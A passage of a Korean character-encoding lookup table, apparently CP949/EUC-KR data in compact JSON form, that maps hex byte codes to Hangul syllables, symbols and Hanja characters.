5, "뫅뫆뫇뫉", 14, "뫚", 33, "뫽뫾뫿묁묂묃묅", 7, "묎묐묒", 5, "묙묚묛묝묞묟묡", 6], ["9241", "묨묪묬", 7, "묷묹묺묿", 4, "뭆뭈뭊뭋뭌뭎뭑뭒"], ["9261", "뭓뭕뭖뭗뭙", 7, "뭢뭤", 7, "뭭", 4], ["9281", "뭲", 21, "뮉뮊뮋뮍뮎뮏뮑", 18, "뮥뮦뮧뮩뮪뮫뮭", 6, "뮵뮶뮸", 7, "믁믂믃믅믆믇믉", 6, "믑믒믔", 35, "믺믻믽믾밁"], ["9341", "밃", 4, "밊밎밐밒밓밙밚밠밡밢밣밦밨밪밫밬밮밯밲밳밵"], ["9361", "밶밷밹", 6, "뱂뱆뱇뱈뱊뱋뱎뱏뱑", 8], ["9381", "뱚뱛뱜뱞", 37, "벆벇벉벊벍벏", 4, "벖벘벛", 4, "벢벣벥벦벩", 6, "벲벶", 5, "벾벿볁볂볃볅", 7, "볎볒볓볔볖볗볙볚볛볝", 22, "볷볹볺볻볽"], ["9441", "볾", 5, "봆봈봊", 5, "봑봒봓봕", 8], ["9461", "봞", 5, "봥", 6, "봭", 12], ["9481", "봺", 5, "뵁", 6, "뵊뵋뵍뵎뵏뵑", 6, "뵚", 9, "뵥뵦뵧뵩", 22, "붂붃붅붆붋", 4, "붒붔붖붗붘붛붝", 6, "붥", 10, "붱", 6, "붹", 24], ["9541", "뷒뷓뷖뷗뷙뷚뷛뷝", 11, "뷪", 5, "뷱"], ["9561", "뷲뷳뷵뷶뷷뷹", 6, "븁븂븄븆", 5, "븎븏븑븒븓"], ["9581", "븕", 6, "븞븠", 35, "빆빇빉빊빋빍빏", 4, "빖빘빜빝빞빟빢빣빥빦빧빩빫", 4, "빲빶", 4, "빾빿뺁뺂뺃뺅", 6, "뺎뺒", 5, "뺚", 13, "뺩", 14], ["9641", "뺸", 23, "뻒뻓"], ["9661", "뻕뻖뻙", 6, "뻡뻢뻦", 5, "뻭", 8], ["9681", "뻶", 10, "뼂", 5, "뼊", 13, "뼚뼞", 33, "뽂뽃뽅뽆뽇뽉", 6, "뽒뽓뽔뽖", 44], ["9741", "뾃", 16, "뾕", 8], ["9761", "뾞", 17, "뾱", 7], ["9781", "뾹", 11, "뿆", 5, "뿎뿏뿑뿒뿓뿕", 6, "뿝뿞뿠뿢", 89, "쀽쀾쀿"], ["9841", "쁀", 16, "쁒", 5, "쁙쁚쁛"], ["9861", "쁝쁞쁟쁡", 6, "쁪", 15], ["9881", "쁺", 21, "삒삓삕삖삗삙", 6, "삢삤삦", 5, "삮삱삲삷", 4, "삾샂샃샄샆샇샊샋샍샎샏샑", 6, "샚샞", 5, "샦샧샩샪샫샭", 6, "샶샸샺", 5, "섁섂섃섅섆섇섉", 6, "섑섒섓섔섖", 5, "섡섢섥섨섩섪섫섮"], ["9941", "섲섳섴섵섷섺섻섽섾섿셁", 6, "셊셎", 5, "셖셗"], ["9961", "셙셚셛셝", 6, "셦셪", 5, "셱셲셳셵셶셷셹셺셻"], ["9981", "셼", 8, "솆", 5, "솏솑솒솓솕솗", 4, "솞솠솢솣솤솦솧솪솫솭솮솯솱", 11, "솾", 5, "쇅쇆쇇쇉쇊쇋쇍", 6, "쇕쇖쇙", 6, "쇡쇢쇣쇥쇦쇧쇩", 6, "쇲쇴", 7, "쇾쇿숁숂숃숅", 6, "숎숐숒", 5, "숚숛숝숞숡숢숣"], ["9a41", "숤숥숦숧숪숬숮숰숳숵", 16], ["9a61", "쉆쉇쉉", 6, "쉒쉓쉕쉖쉗쉙", 6, "쉡쉢쉣쉤쉦"], ["9a81", "쉧", 4, "쉮쉯쉱쉲쉳쉵", 6, "쉾슀슂", 5, "슊", 5, "슑", 6, "슙슚슜슞", 5, "슦슧슩슪슫슮", 5, "슶슸슺", 33, "싞싟싡싢싥", 5, "싮싰싲싳싴싵싷싺싽싾싿쌁", 6, "쌊쌋쌎쌏"], ["9b41", "쌐쌑쌒쌖쌗쌙쌚쌛쌝", 6, "쌦쌧쌪", 8], ["9b61", "쌳", 17, "썆", 7], ["9b81", "썎", 25, "썪썫썭썮썯썱썳", 4, "썺썻썾", 5, "쎅쎆쎇쎉쎊쎋쎍", 50, "쏁", 22, "쏚"], ["9c41", "쏛쏝쏞쏡쏣", 4, "쏪쏫쏬쏮", 5, "쏶쏷쏹", 5], ["9c61", "쏿", 8, "쐉", 6, "쐑", 9], ["9c81", "쐛", 8, "쐥", 6, "쐭쐮쐯쐱쐲쐳쐵", 6, "쐾", 9, "쑉", 26, "쑦쑧쑩쑪쑫쑭", 6, "쑶쑷쑸쑺", 5, "쒁", 18, "쒕", 6, "쒝", 12], ["9d41", "쒪", 13, "쒹쒺쒻쒽", 8], ["9d61", "쓆", 25], ["9d81", "쓠", 8, "쓪", 5, "쓲쓳쓵쓶쓷쓹쓻쓼쓽쓾씂", 9, "씍씎씏씑씒씓씕", 6, "씝", 10, "씪씫씭씮씯씱", 6, "씺씼씾", 5, "앆앇앋앏앐앑앒앖앚앛앜앟앢앣앥앦앧앩", 6, "앲앶", 5, "앾앿얁얂얃얅얆얈얉얊얋얎얐얒얓얔"], ["9e41", "얖얙얚얛얝얞얟얡", 7, "얪", 9, "얶"], ["9e61", "얷얺얿", 4, "엋엍엏엒엓엕엖엗엙", 6, "엢엤엦엧"], ["9e81", "엨엩엪엫엯엱엲엳엵엸엹엺엻옂옃옄옉옊옋옍옎옏옑", 6, "옚옝", 6, "옦옧옩옪옫옯옱옲옶옸옺옼옽옾옿왂왃왅왆왇왉", 6, "왒왖", 5, "왞왟왡", 10, "왭왮왰왲", 5, "왺왻왽왾왿욁", 6, "욊욌욎", 5, "욖욗욙욚욛욝", 6, "욦"], ["9f41", "욨욪", 5, "욲욳욵욶욷욻", 4, "웂웄웆", 5, "웎"], ["9f61", "웏웑웒웓웕", 6, "웞웟웢", 5, "웪웫웭웮웯웱웲"], ["9f81", "웳", 4, "웺웻웼웾", 5, "윆윇윉윊윋윍", 6, "윖윘윚", 5, "윢윣윥윦윧윩", 6, "윲윴윶윸윹윺윻윾윿읁읂읃읅", 4, "읋읎읐읙읚읛읝읞읟읡", 6, "읩읪읬", 7, "읶읷읹읺읻읿잀잁잂잆잋잌잍잏잒잓잕잙잛", 4, "잢잧", 4, "잮잯잱잲잳잵잶잷"], ["a041", "잸잹잺잻잾쟂", 5, "쟊쟋쟍쟏쟑", 6, "쟙쟚쟛쟜"], ["a061", "쟞", 5, "쟥쟦쟧쟩쟪쟫쟭", 13], ["a081", "쟻", 4, "젂젃젅젆젇젉젋", 4, "젒젔젗", 4, "젞젟젡젢젣젥", 6, "젮젰젲", 5, "젹젺젻젽젾젿졁", 6, "졊졋졎", 5, "졕", 26, "졲졳졵졶졷졹졻", 4, "좂좄좈좉좊좎", 5, "좕", 7, "좞좠좢좣좤"], ["a141", "좥좦좧좩", 18, "좾좿죀죁"], ["a161", "죂죃죅죆죇죉죊죋죍", 6, "죖죘죚", 5, "죢죣죥"], ["a181", "죦", 14, "죶", 5, "죾죿줁줂줃줇", 4, "줎 、。·‥…¨〃­―∥\∼‘’“”〔〕〈", 9, "±×÷≠≤≥∞∴°′″℃Å¢£¥♂♀∠⊥⌒∂∇≡≒§※☆★○●◎◇◆□■△▲▽▼→←↑↓↔〓≪≫√∽∝∵∫∬∈∋⊆⊇⊂⊃∪∩∧∨¬"], ["a241", "줐줒", 5, "줙", 18], ["a261", "줭", 6, "줵", 18], ["a281", "쥈", 7, "쥒쥓쥕쥖쥗쥙", 6, "쥢쥤", 7, "쥭쥮쥯⇒⇔∀∃´~ˇ˘˝˚˙¸˛¡¿ː∮∑∏¤℉‰◁◀▷▶♤♠♡♥♧♣⊙◈▣◐◑▒▤▥▨▧▦▩♨☏☎☜☞¶†‡↕↗↙↖↘♭♩♪♬㉿㈜№㏇™㏂㏘℡€®"], ["a341", "쥱쥲쥳쥵", 6, "쥽", 10, "즊즋즍즎즏"], ["a361", "즑", 6, "즚즜즞", 16], ["a381", "즯", 16, "짂짃짅짆짉짋", 4, "짒짔짗짘짛!", 58, "₩]", 32, " ̄"], ["a441", "짞짟짡짣짥짦짨짩짪짫짮짲", 5, "짺짻짽짾짿쨁쨂쨃쨄"], ["a461", "쨅쨆쨇쨊쨎", 5, "쨕쨖쨗쨙", 12], ["a481", "쨦쨧쨨쨪", 28, "ㄱ", 93], ["a541", "쩇", 4, "쩎쩏쩑쩒쩓쩕", 6, "쩞쩢", 5, "쩩쩪"], ["a561", "쩫", 17, "쩾", 5, "쪅쪆"], ["a581", "쪇", 16, "쪙", 14, "ⅰ", 9], ["a5b0", "Ⅰ", 9], ["a5c1", "Α", 16, "Σ", 6], ["a5e1", "α", 16, "σ", 6], ["a641", "쪨", 19, "쪾쪿쫁쫂쫃쫅"], ["a661", "쫆", 5, "쫎쫐쫒쫔쫕쫖쫗쫚", 5, "쫡", 6], ["a681", "쫨쫩쫪쫫쫭", 6, "쫵", 18, "쬉쬊─│┌┐┘└├┬┤┴┼━┃┏┓┛┗┣┳┫┻╋┠┯┨┷┿┝┰┥┸╂┒┑┚┙┖┕┎┍┞┟┡┢┦┧┩┪┭┮┱┲┵┶┹┺┽┾╀╁╃", 7], ["a741", "쬋", 4, "쬑쬒쬓쬕쬖쬗쬙", 6, "쬢", 7], ["a761", "쬪", 22, "쭂쭃쭄"], ["a781", "쭅쭆쭇쭊쭋쭍쭎쭏쭑", 6, "쭚쭛쭜쭞", 5, "쭥", 7, "㎕㎖㎗ℓ㎘㏄㎣㎤㎥㎦㎙", 9, "㏊㎍㎎㎏㏏㎈㎉㏈㎧㎨㎰", 9, "㎀", 4, "㎺", 5, "㎐", 4, "Ω㏀㏁㎊㎋㎌㏖㏅㎭㎮㎯㏛㎩㎪㎫㎬㏝㏐㏓㏃㏉㏜㏆"], ["a841", "쭭", 10, "쭺", 14], ["a861", "쮉", 18, "쮝", 6], ["a881", "쮤", 19, "쮹", 11, "ÆÐªĦ"], ["a8a6", "IJ"], ["a8a8", "ĿŁØŒºÞŦŊ"], ["a8b1", "㉠", 27, "ⓐ", 25, "①", 14, "½⅓⅔¼¾⅛⅜⅝⅞"], ["a941", "쯅", 14, "쯕", 10], ["a961", "쯠쯡쯢쯣쯥쯦쯨쯪", 18], ["a981", "쯽", 14, "찎찏찑찒찓찕", 6, "찞찟찠찣찤æđðħıijĸŀłøœßþŧŋʼn㈀", 27, "⒜", 25, "⑴", 14, "¹²³⁴ⁿ₁₂₃₄"], ["aa41", "찥찦찪찫찭찯찱", 6, "찺찿", 4, "챆챇챉챊챋챍챎"], ["aa61", "챏", 4, "챖챚", 5, "챡챢챣챥챧챩", 6, "챱챲"], ["aa81", "챳챴챶", 29, "ぁ", 82], ["ab41", "첔첕첖첗첚첛첝첞첟첡", 6, "첪첮", 5, "첶첷첹"], ["ab61", "첺첻첽", 6, "쳆쳈쳊", 5, "쳑쳒쳓쳕", 5], ["ab81", "쳛", 8, "쳥", 6, "쳭쳮쳯쳱", 12, "ァ", 85], ["ac41", "쳾쳿촀촂", 5, "촊촋촍촎촏촑", 6, "촚촜촞촟촠"], ["ac61", "촡촢촣촥촦촧촩촪촫촭", 11, "촺", 4], ["ac81", "촿", 28, "쵝쵞쵟А", 5, "ЁЖ", 25], ["acd1", "а", 5, "ёж", 25], ["ad41", "쵡쵢쵣쵥", 6, "쵮쵰쵲", 5, "쵹", 7], ["ad61", "춁", 6, "춉", 10, "춖춗춙춚춛춝춞춟"], ["ad81", "춠춡춢춣춦춨춪", 5, "춱", 18, "췅"], ["ae41", "췆", 5, "췍췎췏췑", 16], ["ae61", "췢", 5, "췩췪췫췭췮췯췱", 6, "췺췼췾", 4], ["ae81", "츃츅츆츇츉츊츋츍", 6, "츕츖츗츘츚", 5, "츢츣츥츦츧츩츪츫"], ["af41", "츬츭츮츯츲츴츶", 19], ["af61", "칊", 13, "칚칛칝칞칢", 5, "칪칬"], ["af81", "칮", 5, "칶칷칹칺칻칽", 6, "캆캈캊", 5, "캒캓캕캖캗캙"], ["b041", "캚", 5, "캢캦", 5, "캮", 12], ["b061", "캻", 5, "컂", 19], ["b081", "컖", 13, "컦컧컩컪컭", 6, "컶컺", 5, "가각간갇갈갉갊감", 7, "같", 4, "갠갤갬갭갯갰갱갸갹갼걀걋걍걔걘걜거걱건걷걸걺검겁것겄겅겆겉겊겋게겐겔겜겝겟겠겡겨격겪견겯결겸겹겻겼경곁계곈곌곕곗고곡곤곧골곪곬곯곰곱곳공곶과곽관괄괆"], ["b141", "켂켃켅켆켇켉", 6, "켒켔켖", 5, "켝켞켟켡켢켣"], ["b161", "켥", 6, "켮켲", 5, "켹", 11], ["b181", "콅", 14, "콖콗콙콚콛콝", 6, "콦콨콪콫콬괌괍괏광괘괜괠괩괬괭괴괵괸괼굄굅굇굉교굔굘굡굣구국군굳굴굵굶굻굼굽굿궁궂궈궉권궐궜궝궤궷귀귁귄귈귐귑귓규균귤그극근귿글긁금급긋긍긔기긱긴긷길긺김깁깃깅깆깊까깍깎깐깔깖깜깝깟깠깡깥깨깩깬깰깸"], ["b241", "콭콮콯콲콳콵콶콷콹", 6, "쾁쾂쾃쾄쾆", 5, "쾍"], ["b261", "쾎", 18, "쾢", 5, "쾩"], ["b281", "쾪", 5, "쾱", 18, "쿅", 6, "깹깻깼깽꺄꺅꺌꺼꺽꺾껀껄껌껍껏껐껑께껙껜껨껫껭껴껸껼꼇꼈꼍꼐꼬꼭꼰꼲꼴꼼꼽꼿꽁꽂꽃꽈꽉꽐꽜꽝꽤꽥꽹꾀꾄꾈꾐꾑꾕꾜꾸꾹꾼꿀꿇꿈꿉꿋꿍꿎꿔꿜꿨꿩꿰꿱꿴꿸뀀뀁뀄뀌뀐뀔뀜뀝뀨끄끅끈끊끌끎끓끔끕끗끙"], ["b341", "쿌", 19, "쿢쿣쿥쿦쿧쿩"], ["b361", "쿪", 5, "쿲쿴쿶", 5, "쿽쿾쿿퀁퀂퀃퀅", 5], ["b381", "퀋", 5, "퀒", 5, "퀙", 19, "끝끼끽낀낄낌낍낏낑나낙낚난낟날낡낢남납낫", 4, "낱낳내낵낸낼냄냅냇냈냉냐냑냔냘냠냥너넉넋넌널넒넓넘넙넛넜넝넣네넥넨넬넴넵넷넸넹녀녁년녈념녑녔녕녘녜녠노녹논놀놂놈놉놋농높놓놔놘놜놨뇌뇐뇔뇜뇝"], ["b441", "퀮", 5, "퀶퀷퀹퀺퀻퀽", 6, "큆큈큊", 5], ["b461", "큑큒큓큕큖큗큙", 6, "큡", 10, "큮큯"], ["b481", "큱큲큳큵", 6, "큾큿킀킂", 18, "뇟뇨뇩뇬뇰뇹뇻뇽누눅눈눋눌눔눕눗눙눠눴눼뉘뉜뉠뉨뉩뉴뉵뉼늄늅늉느늑는늘늙늚늠늡늣능늦늪늬늰늴니닉닌닐닒님닙닛닝닢다닥닦단닫", 4, "닳담답닷", 4, "닿대댁댄댈댐댑댓댔댕댜더덕덖던덛덜덞덟덤덥"], ["b541", "킕", 14, "킦킧킩킪킫킭", 5], ["b561", "킳킶킸킺", 5, "탂탃탅탆탇탊", 5, "탒탖", 4], ["b581", "탛탞탟탡탢탣탥", 6, "탮탲", 5, "탹", 11, "덧덩덫덮데덱덴델뎀뎁뎃뎄뎅뎌뎐뎔뎠뎡뎨뎬도독돈돋돌돎돐돔돕돗동돛돝돠돤돨돼됐되된될됨됩됫됴두둑둔둘둠둡둣둥둬뒀뒈뒝뒤뒨뒬뒵뒷뒹듀듄듈듐듕드득든듣들듦듬듭듯등듸디딕딘딛딜딤딥딧딨딩딪따딱딴딸"], ["b641", "턅", 7, "턎", 17], ["b661", "턠", 15, "턲턳턵턶턷턹턻턼턽턾"], ["b681", "턿텂텆", 5, "텎텏텑텒텓텕", 6, "텞텠텢", 5, "텩텪텫텭땀땁땃땄땅땋때땍땐땔땜땝땟땠땡떠떡떤떨떪떫떰떱떳떴떵떻떼떽뗀뗄뗌뗍뗏뗐뗑뗘뗬또똑똔똘똥똬똴뙈뙤뙨뚜뚝뚠뚤뚫뚬뚱뛔뛰뛴뛸뜀뜁뜅뜨뜩뜬뜯뜰뜸뜹뜻띄띈띌띔띕띠띤띨띰띱띳띵라락란랄람랍랏랐랑랒랖랗"], ["b741", "텮", 13, "텽", 6, "톅톆톇톉톊"], ["b761", "톋", 20, "톢톣톥톦톧"], ["b781", "톩", 6, "톲톴톶톷톸톹톻톽톾톿퇁", 14, "래랙랜랠램랩랫랬랭랴략랸럇량러럭런럴럼럽럿렀렁렇레렉렌렐렘렙렛렝려력련렬렴렵렷렸령례롄롑롓로록론롤롬롭롯롱롸롼뢍뢨뢰뢴뢸룀룁룃룅료룐룔룝룟룡루룩룬룰룸룹룻룽뤄뤘뤠뤼뤽륀륄륌륏륑류륙륜률륨륩"], ["b841", "퇐", 7, "퇙", 17], ["b861", "퇫", 8, "퇵퇶퇷퇹", 13], ["b881", "툈툊", 5, "툑", 24, "륫륭르륵른를름릅릇릉릊릍릎리릭린릴림립릿링마막만많", 4, "맘맙맛망맞맡맣매맥맨맬맴맵맷맸맹맺먀먁먈먕머먹먼멀멂멈멉멋멍멎멓메멕멘멜멤멥멧멨멩며멱면멸몃몄명몇몌모목몫몬몰몲몸몹못몽뫄뫈뫘뫙뫼"], ["b941", "툪툫툮툯툱툲툳툵", 6, "툾퉀퉂", 5, "퉉퉊퉋퉌"], ["b961", "퉍", 14, "퉝", 6, "퉥퉦퉧퉨"], ["b981", "퉩", 22, "튂튃튅튆튇튉튊튋튌묀묄묍묏묑묘묜묠묩묫무묵묶문묻물묽묾뭄뭅뭇뭉뭍뭏뭐뭔뭘뭡뭣뭬뮈뮌뮐뮤뮨뮬뮴뮷므믄믈믐믓미믹민믿밀밂밈밉밋밌밍및밑바", 4, "받", 4, "밤밥밧방밭배백밴밸뱀뱁뱃뱄뱅뱉뱌뱍뱐뱝버벅번벋벌벎범법벗"], ["ba41", "튍튎튏튒튓튔튖", 5, "튝튞튟튡튢튣튥", 6, "튭"], ["ba61", "튮튯튰튲", 5, "튺튻튽튾틁틃", 4, "틊틌", 5], ["ba81", "틒틓틕틖틗틙틚틛틝", 6, "틦", 9, "틲틳틵틶틷틹틺벙벚베벡벤벧벨벰벱벳벴벵벼벽변별볍볏볐병볕볘볜보복볶본볼봄봅봇봉봐봔봤봬뵀뵈뵉뵌뵐뵘뵙뵤뵨부북분붇불붉붊붐붑붓붕붙붚붜붤붰붸뷔뷕뷘뷜뷩뷰뷴뷸븀븃븅브븍븐블븜븝븟비빅빈빌빎빔빕빗빙빚빛빠빡빤"], ["bb41", "틻", 4, "팂팄팆", 5, "팏팑팒팓팕팗", 4, "팞팢팣"], ["bb61", "팤팦팧팪팫팭팮팯팱", 6, "팺팾", 5, "퍆퍇퍈퍉"], ["bb81", "퍊", 31, "빨빪빰빱빳빴빵빻빼빽뺀뺄뺌뺍뺏뺐뺑뺘뺙뺨뻐뻑뻔뻗뻘뻠뻣뻤뻥뻬뼁뼈뼉뼘뼙뼛뼜뼝뽀뽁뽄뽈뽐뽑뽕뾔뾰뿅뿌뿍뿐뿔뿜뿟뿡쀼쁑쁘쁜쁠쁨쁩삐삑삔삘삠삡삣삥사삭삯산삳살삵삶삼삽삿샀상샅새색샌샐샘샙샛샜생샤"], ["bc41", "퍪", 17, "퍾퍿펁펂펃펅펆펇"], ["bc61", "펈펉펊펋펎펒", 5, "펚펛펝펞펟펡", 6, "펪펬펮"], ["bc81", "펯", 4, "펵펶펷펹펺펻펽", 6, "폆폇폊", 5, "폑", 5, "샥샨샬샴샵샷샹섀섄섈섐섕서", 4, "섣설섦섧섬섭섯섰성섶세섹센셀셈셉셋셌셍셔셕션셜셤셥셧셨셩셰셴셸솅소속솎손솔솖솜솝솟송솥솨솩솬솰솽쇄쇈쇌쇔쇗쇘쇠쇤쇨쇰쇱쇳쇼쇽숀숄숌숍숏숑수숙순숟술숨숩숫숭"], ["bd41", "폗폙", 7, "폢폤", 7, "폮폯폱폲폳폵폶폷"], ["bd61", "폸폹폺폻폾퐀퐂", 5, "퐉", 13], ["bd81", "퐗", 5, "퐞", 25, "숯숱숲숴쉈쉐쉑쉔쉘쉠쉥쉬쉭쉰쉴쉼쉽쉿슁슈슉슐슘슛슝스슥슨슬슭슴습슷승시식신싣실싫심십싯싱싶싸싹싻싼쌀쌈쌉쌌쌍쌓쌔쌕쌘쌜쌤쌥쌨쌩썅써썩썬썰썲썸썹썼썽쎄쎈쎌쏀쏘쏙쏜쏟쏠쏢쏨쏩쏭쏴쏵쏸쐈쐐쐤쐬쐰"], ["be41", "퐸", 7, "푁푂푃푅", 14], ["be61", "푔", 7, "푝푞푟푡푢푣푥", 7, "푮푰푱푲"], ["be81", "푳", 4, "푺푻푽푾풁풃", 4, "풊풌풎", 5, "풕", 8, "쐴쐼쐽쑈쑤쑥쑨쑬쑴쑵쑹쒀쒔쒜쒸쒼쓩쓰쓱쓴쓸쓺쓿씀씁씌씐씔씜씨씩씬씰씸씹씻씽아악안앉않알앍앎앓암압앗았앙앝앞애액앤앨앰앱앳앴앵야약얀얄얇얌얍얏양얕얗얘얜얠얩어억언얹얻얼얽얾엄", 6, "엌엎"], ["bf41", "풞", 10, "풪", 14], ["bf61", "풹", 18, "퓍퓎퓏퓑퓒퓓퓕"], ["bf81", "퓖", 5, "퓝퓞퓠", 7, "퓩퓪퓫퓭퓮퓯퓱", 6, "퓹퓺퓼에엑엔엘엠엡엣엥여역엮연열엶엷염", 5, "옅옆옇예옌옐옘옙옛옜오옥온올옭옮옰옳옴옵옷옹옻와왁완왈왐왑왓왔왕왜왝왠왬왯왱외왹왼욀욈욉욋욍요욕욘욜욤욥욧용우욱운울욹욺움웁웃웅워웍원월웜웝웠웡웨"], ["c041", "퓾", 5, "픅픆픇픉픊픋픍", 6, "픖픘", 5], ["c061", "픞", 25], ["c081", "픸픹픺픻픾픿핁핂핃핅", 6, "핎핐핒", 5, "핚핛핝핞핟핡핢핣웩웬웰웸웹웽위윅윈윌윔윕윗윙유육윤율윰윱윳융윷으윽은을읊음읍읏응", 7, "읜읠읨읫이익인일읽읾잃임입잇있잉잊잎자작잔잖잗잘잚잠잡잣잤장잦재잭잰잴잼잽잿쟀쟁쟈쟉쟌쟎쟐쟘쟝쟤쟨쟬저적전절젊"], ["c141", "핤핦핧핪핬핮", 5, "핶핷핹핺핻핽", 6, "햆햊햋"], ["c161", "햌햍햎햏햑", 19, "햦햧"], ["c181", "햨", 31, "점접젓정젖제젝젠젤젬젭젯젱져젼졀졈졉졌졍졔조족존졸졺좀좁좃종좆좇좋좌좍좔좝좟좡좨좼좽죄죈죌죔죕죗죙죠죡죤죵주죽준줄줅줆줌줍줏중줘줬줴쥐쥑쥔쥘쥠쥡쥣쥬쥰쥴쥼즈즉즌즐즘즙즛증지직진짇질짊짐집짓"], ["c241", "헊헋헍헎헏헑헓", 4, "헚헜헞", 5, "헦헧헩헪헫헭헮"], ["c261", "헯", 4, "헶헸헺", 5, "혂혃혅혆혇혉", 6, "혒"], ["c281", "혖", 5, "혝혞혟혡혢혣혥", 7, "혮", 9, "혺혻징짖짙짚짜짝짠짢짤짧짬짭짯짰짱째짹짼쨀쨈쨉쨋쨌쨍쨔쨘쨩쩌쩍쩐쩔쩜쩝쩟쩠쩡쩨쩽쪄쪘쪼쪽쫀쫄쫌쫍쫏쫑쫓쫘쫙쫠쫬쫴쬈쬐쬔쬘쬠쬡쭁쭈쭉쭌쭐쭘쭙쭝쭤쭸쭹쮜쮸쯔쯤쯧쯩찌찍찐찔찜찝찡찢찧차착찬찮찰참찹찻"], ["c341", "혽혾혿홁홂홃홄홆홇홊홌홎홏홐홒홓홖홗홙홚홛홝", 4], ["c361", "홢", 4, "홨홪", 5, "홲홳홵", 11], ["c381", "횁횂횄횆", 5, "횎횏횑횒횓횕", 7, "횞횠횢", 5, "횩횪찼창찾채책챈챌챔챕챗챘챙챠챤챦챨챰챵처척천철첨첩첫첬청체첵첸첼쳄쳅쳇쳉쳐쳔쳤쳬쳰촁초촉촌촐촘촙촛총촤촨촬촹최쵠쵤쵬쵭쵯쵱쵸춈추축춘출춤춥춧충춰췄췌췐취췬췰췸췹췻췽츄츈츌츔츙츠측츤츨츰츱츳층"], ["c441", "횫횭횮횯횱", 7, "횺횼", 7, "훆훇훉훊훋"], ["c461", "훍훎훏훐훒훓훕훖훘훚", 5, "훡훢훣훥훦훧훩", 4], ["c481", "훮훯훱훲훳훴훶", 5, "훾훿휁휂휃휅", 11, "휒휓휔치칙친칟칠칡침칩칫칭카칵칸칼캄캅캇캉캐캑캔캘캠캡캣캤캥캬캭컁커컥컨컫컬컴컵컷컸컹케켁켄켈켐켑켓켕켜켠켤켬켭켯켰켱켸코콕콘콜콤콥콧콩콰콱콴콸쾀쾅쾌쾡쾨쾰쿄쿠쿡쿤쿨쿰쿱쿳쿵쿼퀀퀄퀑퀘퀭퀴퀵퀸퀼"], ["c541", "휕휖휗휚휛휝휞휟휡", 6, "휪휬휮", 5, "휶휷휹"], ["c561", "휺휻휽", 6, "흅흆흈흊", 5, "흒흓흕흚", 4], ["c581", "흟흢흤흦흧흨흪흫흭흮흯흱흲흳흵", 6, "흾흿힀힂", 5, "힊힋큄큅큇큉큐큔큘큠크큭큰클큼큽킁키킥킨킬킴킵킷킹타탁탄탈탉탐탑탓탔탕태택탠탤탬탭탯탰탱탸턍터턱턴털턺텀텁텃텄텅테텍텐텔템텝텟텡텨텬텼톄톈토톡톤톨톰톱톳통톺톼퇀퇘퇴퇸툇툉툐투툭툰툴툼툽툿퉁퉈퉜"], ["c641", "힍힎힏힑", 6, "힚힜힞", 5], ["c6a1", "퉤튀튁튄튈튐튑튕튜튠튤튬튱트특튼튿틀틂틈틉틋틔틘틜틤틥티틱틴틸팀팁팃팅파팍팎판팔팖팜팝팟팠팡팥패팩팬팰팸팹팻팼팽퍄퍅퍼퍽펀펄펌펍펏펐펑페펙펜펠펨펩펫펭펴편펼폄폅폈평폐폘폡폣포폭폰폴폼폽폿퐁"], ["c7a1", "퐈퐝푀푄표푠푤푭푯푸푹푼푿풀풂품풉풋풍풔풩퓌퓐퓔퓜퓟퓨퓬퓰퓸퓻퓽프픈플픔픕픗피픽핀필핌핍핏핑하학한할핥함합핫항해핵핸핼햄햅햇했행햐향허헉헌헐헒험헙헛헝헤헥헨헬헴헵헷헹혀혁현혈혐협혓혔형혜혠"], ["c8a1", "혤혭호혹혼홀홅홈홉홋홍홑화확환활홧황홰홱홴횃횅회획횐횔횝횟횡효횬횰횹횻후훅훈훌훑훔훗훙훠훤훨훰훵훼훽휀휄휑휘휙휜휠휨휩휫휭휴휵휸휼흄흇흉흐흑흔흖흗흘흙흠흡흣흥흩희흰흴흼흽힁히힉힌힐힘힙힛힝"], ["caa1", "伽佳假價加可呵哥嘉嫁家暇架枷柯歌珂痂稼苛茄街袈訶賈跏軻迦駕刻却各恪慤殼珏脚覺角閣侃刊墾奸姦干幹懇揀杆柬桿澗癎看磵稈竿簡肝艮艱諫間乫喝曷渴碣竭葛褐蝎鞨勘坎堪嵌感憾戡敢柑橄減甘疳監瞰紺邯鑑鑒龕"], ["cba1", "匣岬甲胛鉀閘剛堈姜岡崗康强彊慷江畺疆糠絳綱羌腔舡薑襁講鋼降鱇介价個凱塏愷愾慨改槪漑疥皆盖箇芥蓋豈鎧開喀客坑更粳羹醵倨去居巨拒据據擧渠炬祛距踞車遽鉅鋸乾件健巾建愆楗腱虔蹇鍵騫乞傑杰桀儉劍劒檢"], ["cca1", "瞼鈐黔劫怯迲偈憩揭擊格檄激膈覡隔堅牽犬甄絹繭肩見譴遣鵑抉決潔結缺訣兼慊箝謙鉗鎌京俓倞傾儆勁勍卿坰境庚徑慶憬擎敬景暻更梗涇炅烱璟璥瓊痙硬磬竟競絅經耕耿脛莖警輕逕鏡頃頸驚鯨係啓堺契季屆悸戒桂械"], ["cda1", "棨溪界癸磎稽系繫繼計誡谿階鷄古叩告呱固姑孤尻庫拷攷故敲暠枯槁沽痼皐睾稿羔考股膏苦苽菰藁蠱袴誥賈辜錮雇顧高鼓哭斛曲梏穀谷鵠困坤崑昆梱棍滾琨袞鯤汨滑骨供公共功孔工恐恭拱控攻珙空蚣貢鞏串寡戈果瓜"], ["cea1", "科菓誇課跨過鍋顆廓槨藿郭串冠官寬慣棺款灌琯瓘管罐菅觀貫關館刮恝括适侊光匡壙廣曠洸炚狂珖筐胱鑛卦掛罫乖傀塊壞怪愧拐槐魁宏紘肱轟交僑咬喬嬌嶠巧攪敎校橋狡皎矯絞翹膠蕎蛟較轎郊餃驕鮫丘久九仇俱具勾"], ["cfa1", "區口句咎嘔坵垢寇嶇廐懼拘救枸柩構歐毆毬求溝灸狗玖球瞿矩究絿耉臼舅舊苟衢謳購軀逑邱鉤銶駒驅鳩鷗龜國局菊鞠鞫麴君窘群裙軍郡堀屈掘窟宮弓穹窮芎躬倦券勸卷圈拳捲權淃眷厥獗蕨蹶闕机櫃潰詭軌饋句晷歸貴"], ["d0a1", "鬼龜叫圭奎揆槻珪硅窺竅糾葵規赳逵閨勻均畇筠菌鈞龜橘克剋劇戟棘極隙僅劤勤懃斤根槿瑾筋芹菫覲謹近饉契今妗擒昑檎琴禁禽芩衾衿襟金錦伋及急扱汲級給亘兢矜肯企伎其冀嗜器圻基埼夔奇妓寄岐崎己幾忌技旗旣"], ["d1a1", "朞期杞棋棄機欺氣汽沂淇玘琦琪璂璣畸畿碁磯祁祇祈祺箕紀綺羈耆耭肌記譏豈起錡錤飢饑騎騏驥麒緊佶吉拮桔金喫儺喇奈娜懦懶拏拿癩", 5, "那樂", 4, 